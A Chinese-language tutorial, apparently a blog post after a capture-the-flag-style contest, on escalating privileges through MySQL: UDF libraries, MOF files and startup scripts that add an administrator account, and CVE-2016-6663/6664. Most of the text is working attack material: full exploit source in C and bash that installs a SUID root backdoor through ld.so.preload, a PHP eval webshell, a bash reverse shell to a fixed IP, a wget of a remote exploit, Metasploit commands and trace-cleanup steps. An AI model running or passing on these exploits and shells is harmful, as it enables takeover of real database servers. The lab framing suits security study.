前言
前两天参加了省赛的内网渗透,在拿到 webshell 后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个 www-data 权限,执行不了代理的命令,这时候就需要提权到 root 权限才能够执行命令,最后还没有通过 udf 提权,而是通过/tmp
这个目录能够修改权限,改为 777 权限后使用的代理。因为 linux 打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于 mysql 的提权知识。
UDF 提权
何为 UDF
UDF 是 mysql 的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展 Mysql 的技术手段。
使用过 MySQL 的人都知道,MySQL 有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。
MySQL 的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对 MySQL 进行一些扩展。
幸运的是,MySQL 给使用者提供了添加新函数的机制,这种使用者自行添加的 MySQL 函数就称为 UDF(User Define Function)。其实除了 UDF 外,使用者还可以将函数添加为 MySQL 的固有(内建)函数,固有函数被编译进 mysqld 服务器中,称为永久可用的,不过这种方式较添加 UDF 复杂,升级维护都较为麻烦,这里我们不做讨论。
无论你使用哪种方法去添加新函数,它们都可以被 SQL 声明调用,就像 ABS()或 SUM()这样的固有函数一样。
UDF 利用条件
1.知道数据库的用户和密码;
2.mysql 可以远程登录;
3.mysql 有写入文件的权限,即 secure_file_priv 的值为空。
关于第一点就不用多说了,可以通过拿到 webshell 之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。
在默认情况下,mysql 只允许本地登录,我们知道可以通过 navicat 去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上 mysql 数据库,那么在这种情况下就只有通过拿到本机的高权限 rdp 登陆远程桌面后连接。
远程连接对应的设置在 mysql 目录下的/etc/mysql/my.conf
文件,对应的设置为bind-address = 127.0.0.1
这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录 mysql 的话,就只要把bind-address
改成 0.0.0.0 即可,即bind-address = 0.0.0.0
光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456
用户,使用%
来允许任意 ip 登录 mysql,这样我们就能够通过 navicat 使用admin/123456
用户远程连接到数据库
grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;
复制代码
关于第三点的secure_file_priv
参数,这里有三个值,分别为NULL
、/tmp
、空,NULL
顾名思义即不允许导入或导出。
那么在这种情况下就不能使用 sql 语句向数据库内写入任何语句,/tmp
的意思是只能在/tmp
目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上、访问连接到这个目录,如果这个值为空,那么就可以通过构造 sql 语句向 mysql 数据库下的任何目录写入文件。
这里还有一个需要了解的点就是在 mysql5.5 版本之前secure_file_priv
这个值是默认为空的,那么我们拿到的 webshell 如果对应的 mysql 数据库版本在 5.5 以下的话操作起来就比较方便,在 mysql5.5 版本之后secure_file_priv
这个值是默认为 NULL 的,即不能够往数据库内写入文件。
为了感谢广大读者伙伴的支持,准备了以下福利给到大家:【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)
手动提权
首先这里现在官网下载一个 mysql,这里我下载的是 5.5.19,注意这里需要下 msi 文件,不要下 zip 文件
下载好后进行安装即可
这里使用 utf-8 字符集
安装好后使用mysql -u root -p
进入 mysql
因为我是 5.5.19 版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在 windows 环境下后缀名为.dll
,在 linnux 环境下后缀名为.so
那么这里利用.dll
或.so
文件在哪里去找呢?这两个文件在 sqlmap 和 msf 里面都有内置
首先在 sqlmap 里面找一下,在 sqlmap 里面对应的目录地址为udf/mysql
,这里进入目录后可以看到 sqlmap 已经帮我们分好类了
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_
或dll_
的话,就需要解码,如果后缀名为.so
或.dll
的话就不需要解码即可直接使用。这里 sqlmap 也自带了解码的 py 脚本,在/extra/cloak
目录下,使用cloak.py
解密即可。
命令如下(这里使用到 64 位的 dll,其他版本改后缀名即可)
python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
复制代码
这里好像因为我本机的环境配置的问题这里 py3 没有执行成功,这里换到 kali 环境里面使用 py2 解密
python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
复制代码
另外可以用 msf 提供的动态链接库文件,这里注意 msf 里面的动态链接库是已经解密好了的可以直接使用,msf 下的动态链接库目录如下
/usr/share/metasploit-framework/data/exploits/mysql/
复制代码
直接拿出来使用 010 editor 进行查看是包含了一些函数
解密过程完成之后就需要把解密得到的 UDF 动态链接库文件放到 mysql 的插件目录下,这里使用如下命令查询插件目录的位置
show variables like "%plugin%";
复制代码
这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin
使用select @@basedir
查看一下 MySQL 安装的位置
这里因为只单独安装了一个 MySQL,没有安装其他的 web,所以为了更好的还原环境,这里使用 phpstudy 来搭建环境,这里假设我已经拿到了一个目标机器的 webshell,但是这里权限很低,使用到 udf 提权
首先来到MySQL/lib
文件夹下,这里可以看到是没有plugin
这个文件夹的,所以这里需要我们先创建一个文件夹
创建plugin
文件夹!
然后把解密过后的lib_mysqludf_sys_64.dll
放到plugin
文件夹下!
这里为了方便我把 dll 改名为udf.dll
,但是这里报错ERROR 1126
,这里我百度过后发现这个 dll 并不是跟系统位数有关的,而是跟 mysql 版本有关系,而且 phpstudy 自带的 mysql 版本需要用 32 位的 dll 才能够操作
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
复制代码
这里我上传一个 32 位的 dll 到plugin
文件夹内
再使用命令创建自定义函数即可
然后使用命令查看是否新增了sys_eval
函数
select * from mysql.func;
复制代码
可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有 disable_functions 把函数禁用了,用 udf 提权也是能够操作的
拓展:UDF shell
允许外连
这里可以使用写好的代码来自动提权,我们测试一下
首先把 php 上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况
这里进入my.ini
文件设置bind-address = 0.0.0.0
然后创建一个admin/123456
用户允许外连
再次登录即可登录成功
这里首先 dump udf.dll
到plugin
文件夹下,这里可以看到 dump dll 成功
然后创建函数,再执行命令即可
不允许外连
这里我们再把bind-address = 0.0.0.0
这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用 reg、ew 都可以,但是这里因为是 mysql 的原因,使用 navicat 自带的 tunnel 脚本会更加方便。
首先测试一下,是不允许外连的
这里上传nutunnel_mysql.php
到靶机上、访问,这里看到已经连接成功了
然后连接的时候设置 HTTP 隧道
即可连接到 mysql,然后提权操作同前
MOF 提权
mof 是 windows 系统的一个文件(在 c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了 mysql 的 root 权限了以后,然后使用 root 权限去执行我们上传的 mof。隔了一定时间以后这个 mof 就会被执行,这个 mof 当中有一段是 vbs 脚本,这个 vbs 大多数的是 cmd 的添加管理员用户的命令。
利用条件
只使用于 windows 系统,一般低版本系统才可以用,比如xp
、server2003
对C:\Windows\System32\wbem\MOF
目录有读写权限
可以找到一个可写目录,写入 mof 文件
手动提权
这里我没有安装 2003 的虚拟机,所以就不放图了,写一下提权的步骤
生成testmod.mod
文件并上传到靶机的可写目录
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
复制代码
进入 mysql 命令行执行导入命令,导入完成过后系统会自动运行
select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
复制代码
使用net user
命令即可发现已经加入了管理员组
msf 提权
msf 内置了 MOF 提权模块,相比于手动提权的好处就是 msf 的 MOF 模块有自动清理痕迹的功能
use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun
复制代码
拓展
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果
# 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt
复制代码
启动项提权
windows 开机时候都会有一些开机启动的程序,那时候启动的程序权限都是 system,因为是 system 把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
这个地方既然碰到了启动项提权,就总结一下不限于 mysql 的启动项提权方法。
启动项路径
在 windows2003 的系统下,启动项路径如下:
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动
复制代码
在 windows2008 的系统下,启动项路径如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
复制代码
自动化脚本
我们在拿到一个网站的 webshell 的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个 vbs 或者 bat 的脚本进行提权。
这里使用test.vbs
添加用户密码,上传到启动目录重启的时候即可自动添加账号密码
set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
复制代码
使用 sql 语句
连接到 mysql 之后创建一个表写入 sql 语句
use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;
复制代码
重启之后即可提权
CVE-2016-6663&CVE-2016-6664
CVE-2016-6663 是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有 CREATE/INSERT/SELECT 权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个 mysql 的权限。
CVE-2016-6664 是 root 权限提升漏洞,这个漏洞可以让拥有 MySQL 系统用户权限的攻击者提升权限至 root,以便进一步攻击整个系统。
导致这个问题的原因其实是因为 MySQL 对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取 root 权限。可以看到,两个 cve 分别是用来将低权限的 www-data 权限提升为 mysql 权限,然后再将 mysql 提升为 root 权限。
利用条件
CVE-2016-6663
1.已经 getshell,获得 www-data 权限
2.获取到一个拥有 create,drop,insert,select 权限的数据库账号,密码
3.提权过程需要在交互式的 shell 环境中运行,所以需要反弹 shell 再提权
4.Mysql<5.5.51 或<5.6.32 或<5.7.14
CVE-2016-6664
1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是 syslog 方式(通过 cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf 查看没有包含“syslog”字样即可)
2.需要在 mysql 权限下运行才能利用
3.Mysql<5.5.51 或<5.6.32 或<5.7.14
环境搭建
这里使用到 tutum/lamp 的镜像环境,运行 docker 并连接
docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash
复制代码
安装 apt,wget,gcc,libmysqlclient-dev
apt updateapt install -y wget gcc libmysqlclient-dev
复制代码
写入一个一句话木马方便后续连接,这里注意,linux 环境下用 echo 命令写入木马需要加' '
进行转义,否则会报错
cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php
复制代码
给 web 路径赋予 777 权限
chmod -R 777 /var/www/html
复制代码
进入 mysql 环境添加一个对 test 库有 create,drop,insert,select 权限的 test 用户,密码为 123456
将 apache2 和 mysql 服务重启并重新保存容器,将新容器的 80 端口映射到 8080 端口,3306 映射到 3306 端口的方式运行容器。
service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp
复制代码
访问一下 8080 端口若出现如下界面则环境搭建成功
CVE-2016-6663
cve-2016-6663 即将 www-data 权限提升为 mysql 权限,首先连接我们之前写入的 webshell
首先看一下权限跟目录的可执行状况,可以看到 html 目录下是 777!
然后写入 exp,命名为mysql-privesc-race.c
,exp 如下所示
#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_privesc_exploit"#define EXP_DIRN "mysql_privesc_exploit"#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessaryMYSQL *conn; // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "\033[94m\n""MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n""mysql-privesc-race.c (ver. 1.0)\n\n""CVE-2016-6663 / CVE-2016-5616\n\n""For testing purposes only. Do no harm.\n\n""Discovered/Coded by:\n\n""Dawid Golunski \n""http://legalhackers.com""\033[0m\n\n");}void usage(char *argv0) {intro();printf("Usage:\n\n%s user pass db_host database\n\n", argv0);}void mysql_cmd(char *sql_cmd, int silent) {if (!silent) {printf("%s \n", sql_cmd);}if (mysql_query(conn, sql_cmd)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}res = mysql_store_result(conn);if (res>0) mysql_free_result(res);}int main(int argc,char **argv){int randomnum = 0;int io_notified = 0;int myd_handle;int wpid;int is_shell_suid=0;pid_t pid;int status;struct stat st;/* io notify */int fd;int ret;char buf[4096] __attribute__((aligned(8)));int num_read;struct inotify_event *event;/* credentials */char *user = argv[1];char *password = argv[2];char *db_host = argv[3];char *database = argv[4];// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);// Get the paramsif (argc!=5) {usage(argv[0]);exit(1);} intro();// Show initial privilegesprintf("\n[+] Starting the exploit as: \n");system("id");// Connect to the database server with provided credentialsprintf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);conn = mysql_init(NULL);if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}// Prepare tmp dirprintf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);umask(000);system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);system("chmod g+s /tmp/" EXP_DIRN );// Prepare exploit tables :)printf("\n[+] Creating mysql tables \n\n");mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directoryprintf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");system("cp /bin/bash " SUID_SHELL);system("ls -l " SUID_SHELL);// Use inotify to get the timing rightfd = inotify_init();if (fd < 0) {printf("failed to inotify_init\n");return -1;}ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("\n[+] Entering the race loop... Hang in there...\n");while ( is_shell_suid != 1 ) {cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout); }/* Create empty file , remove if already exists */unlink(MYSQL_TEMP_FILE);unlink(MYSQL_TAB_FILE);mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */srand ( time(NULL) );randomnum = ( rand() % MAX_DELAY );// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlinkpid = fork();if (pid < 0) {fprintf(stderr, "Fork failed :(\n");}/* Child process - executes REPAIR TABLE SQL statement */if (pid == 0) {usleep(500);unlink(MYSQL_TEMP_FILE);mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);// child stops hereexit(0);}/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid > 0 ) {io_notified = 0;while (1) {int processed = 0;ret = read(fd, buf, sizeof(buf));if (ret < 0) {break;}while (processed < ret) {event = (struct inotify_event *)(buf + processed);if (event->mask & IN_CLOSE) {if (!strcmp(event->name, "exploit_table.TMD")) {//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE);myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);close(myd_handle);chmod(MYSQL_TAB_FILE, 04777);// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);symlink(SUID_SHELL, MYSQL_TEMP_FILE);io_notified=1;}}processed += sizeof(struct inotify_event);}if (io_notified) {break;}}waitpid(pid, &status, 0);}// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) == 0 ) {if (st.st_mode & S_ISUID) {is_shell_suid = 1;}} }printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);system("ls -l " SUID_SHELL);printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");system(SUID_SHELL " -p -i ");//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("\n[+] Job done. Exiting\n\n");mysql_close(conn);return 0;}
复制代码
这里我直接用蚁剑执行的话执行不了
使用 nc 配合 bash 命令反弹后执行命令,即可从 www-data 权限提升到 mysql 权限
nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test
复制代码
CVE-2016-6664
cve-2016-6664 即把 mysql 权限提升到 root 权限
tutum/lamp 日志方式不是默认的基于文件的日志,而是 syslog,所以我们首先要将它改为默认配置
vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf
复制代码
删除掉 syslog,然后重启 mysql
使用 exp
#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log ### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit {# Cleanup echo -e "\n[+] Cleaning up..."rm -f $PRIVESCSRCrm -f $PRIVESCLIBrm -f $ERRORLOGtouch $ERRORLOGif [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preloadfiecho -e "\n[+] Job done. Exiting with code $1 \n"exit $1}function ctrl_c() {echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."cleanexit 0}#intro echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"# Argsif [ $# -lt 1 ]; thenecho -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"exit 3fi# Priv checkecho -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"id | grep -q mysql if [ $? -ne 0 ]; thenecho -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"exit 3fi# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; thenecho -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"exit 3fiecho -e "\n[+] Target MySQL log file set to $ERRORLOG"# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>uid_t geteuid(void) {static uid_t (*old_geteuid)();old_geteuid = dlsym(RTLD_NEXT, "geteuid");if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);//unlink("/etc/ld.so.preload");}return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; thenecho -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; thenecho -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."exit 2fi# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; thenecho -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"# Wait for MySQL to re-open the logsecho -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; thenecho -e "Got it. Executing 'killall mysqld' now..."killall mysqldfiwhile :; do sleep 0.1if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadrm -f $ERRORLOGbreak;fidone# /etc/ dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null#while :; do # sleep 0.1# ps aux | grep mysqld | grep -q 'log-error'# if [ $? -eq 0 ]; then# break;# fi#done# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"elseecho -e "\n[!] Failed to get root"cleanexit 2fi# Execute the rootshellecho -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0
复制代码
在刚才 mysql 权限的 shell 中下载提权脚本并执行,即可得到 root 权限
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log
复制代码
评论